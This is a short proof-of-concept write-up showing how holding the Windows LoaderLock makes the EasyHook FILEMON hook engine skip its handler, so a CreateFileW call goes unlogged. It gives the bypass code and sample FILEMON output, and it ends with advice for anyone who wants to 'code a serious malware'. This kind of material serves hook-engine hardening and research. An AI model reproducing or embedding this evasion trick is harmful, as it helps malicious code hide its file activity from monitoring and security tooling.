Bypassing windows hook engines which if the LoaderLock is held not executes the

Author: Dreg

This project bypass windows hook engines which if the LoaderLock is held not executes the hook handler.

This project include the bypass of the easy-hook FILEMON.

This POC try creates with CreateFileW two files:
- no_bypass_hook.txt: which is logged by the FILEMON of the easy-hook
- bypass_hook.txt: which bypass the FILEMON of the easy-hook
-
- The bypass method is held the LoaderLock:
-. RtlEnterCriticalSection( NtCurrentTeb()->Peb->LoaderLock );
-. CreateFile( ByPassFile.txt );
-. RtlLeaveCriticalSection( NtCurrentTeb()->Peb->LoaderLock );
- This works, because TDB of easy-hook uses the Auxiliary Windows Library
before call the hook handler, if AuxUlibIsDLLSynchronizationHeld
return TRUE, easy-hook not execute hook handler
- Helding the LoaderLock AuxUlibIsDLLSynchronizationHeld returns always TRUE

The code to bypass the easy-hook FILEMON hook handler is very simple:



RtlEnterCriticalSection( NtCurrentTeb()->Peb->LoaderLock );

CreateFileW

(

	FILE_BYPASS_HOOK,

	0,

	0,

	NULL,

	OPEN_EXISTING,

	FILE_ATTRIBUTE_NORMAL,

	NULL

);

RtlLeaveCriticalSection( NtCurrentTeb()->Peb->LoaderLock );

Then the FILE_BYPASS_HOOK never showed in easy-hook FILEMON Log.

Test the code is very simple, only runs bypass_easyhook.exe which creates two files each two seconds:



0-

 CreateFileW(bypass_hook.txt) <- This CALL BYPASS easy-hook



 CreateFileW(no_bypass_hook.txt) <- This CALL NOT BYPASS easy-hook

...

Next, run the FILEMON with the PID of bypass_easyhook.exe.

(Run the filemon from the path of FILEMON):

C:\bypass_easyhook\Release>FileMon.exe 2628
...

Number of assemblies processed = 3
Number of assemblies installed = 3
Number of failures = 0

FileMon has been installed in target 2628.

[2628:2772]: "no_bypass_hook.txt"
[2628:2772]: "no_bypass_hook.txt"

Only logged no_bypass_hook.txt, and the FILEMON never logged the CreateFileW of bypass_hook.txt :-).

Bypass windows hook engines which if the LoaderLock is held not executes the hook handler, is very simple with this trick.

But you want code a serious malware or program, held the LoaderLock only in safe situations. It is very important to avoid deadlocks.
